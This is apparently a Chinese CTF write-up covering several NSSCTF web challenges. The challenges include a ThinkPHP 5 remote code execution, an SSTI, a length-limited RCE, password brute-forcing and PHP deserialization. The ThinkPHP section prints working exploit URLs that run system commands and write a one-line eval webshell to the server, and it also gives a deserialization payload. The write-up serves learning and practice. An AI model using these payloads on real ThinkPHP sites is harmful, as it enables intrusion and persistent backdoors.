目录标题
[SWPUCTF 2022 新生赛]ez_rce --ThinkPHP V5漏洞
参考文章:https://blog.csdn.net/weixin_44862511/article/details/132132998
打开环境之后拿不到什么可以利用的信息,执行目录扫描发现robots.txt文件
访问robots.txt文件
执行下面的命令查看
/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell.php&vars[1][]=<?php phpinfo(); ?>
访问**/NSS/index/phpinfo()**
执行下面的命令写入一句话木马,参数1
http://node5.anna.nssctf.cn:21655/NSS/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=track.php&vars[1][]=<?php @eval($_POST[1]);?>
连接
在**/nss/ctf/flag下发现flag**
[GWCTF 2019]你的名字
利用fenjing梭哈
fenjing webgui
这里需要找到请求方式和提交方式,可以在网络中查看
查看根目录
查看该文件,提示在环境变量里
查看环境变量env
[UUCTF 2022 新生赛]ezrce
思路,本题是6字符长度限制RCE,找到传参点
参考文章:https://github.com/ProbiusOfficial/RCE-labs?tab=readme-ov-file
经过测试,最多使用6个字符
[SWPU 2024 新生引导]weakpswd
抓包burp爆破,成功爆破
[FSCTF 2023]ez_php1
代码审计,看看匹配规则
- **
/
:**正则表达式的开始和结束分隔符。 ^
:断言字符串的开始。.*
:匹配任意数量(包括零个)的任意字符。第一个.*
表示 “flag” 前可以有任何数量的任何字符。- **
(flag)
:**匹配确切的字符串 “flag”,并将其作为一个捕获组。 .*
:同上,表示 “flag” 后可以有任何数量的任何字符。$
:断言字符串的结束。
<?php
highlight_file(__FILE__);
error_reporting(0);
include "globals.php"; #文件引入
$a = $_GET['b'];
$b = $_GET['a'];
if($a!=$b&&md5($a)==md5($b)) #弱比较
{
echo "!!!";
$c = $_POST['FL_AG'];
if(isset($c))
{
if (preg_match('/^.*(flag).*$/', $ja)) { #正则匹配过滤任何包含flag的字符串
echo 'You are bad guy!!!';
}
else {
echo "Congratulation!!";
echo $hint1;
}
}
else {
echo "Please input my love FL_AG";
}
} else{
die("game over!");
}
?>
第一个过滤使用若比较数组绕过即可,第二个保证字符串不空随意输入即可
进入该路径,继续代码审计
<?php
highlight_file(__FILE__);
error_reporting(0);
include "globals.php";
$FAKE_KEY = "Do you love CTF?";
$KEY = "YES I love";
$str = $_GET['str'];
echo $flag;
if (unserialize($str) === "$KEY") #反序列化的str值等于$KEY
{
echo "$hint2";
}
?>
#构造序列化令str值为YES I love
$b='YES I love';
echo serialize($b);
拿到第二个提示
继续代码审计
<?php
class Clazz
{
public $a;
public $b;
public function __wakeup() #对象被反序列化前调用
{
$this->a = file_get_contents("php://filter/read=convert.base64-encode/resource=g0t_f1ag.php");
}
public function __destruct() #反序列化之后/实例化对象后调用
{
echo $this->b;
}
}
@unserialize($_POST['data']);
$a=new Clazz();
$a->b = &$a->a; #取地址相同,这行代码将对象$a的属性 b 设置为变量 a 的引用。在 PHP 中,& 符号用于创建引用。这意味着 $a->b 和 $a->a 将引用同一个变量的值。
echo serialize($a);
#O:5:"Clazz":2:{s:1:"a";N;s:1:"b";R:2;}
?>
拿到flag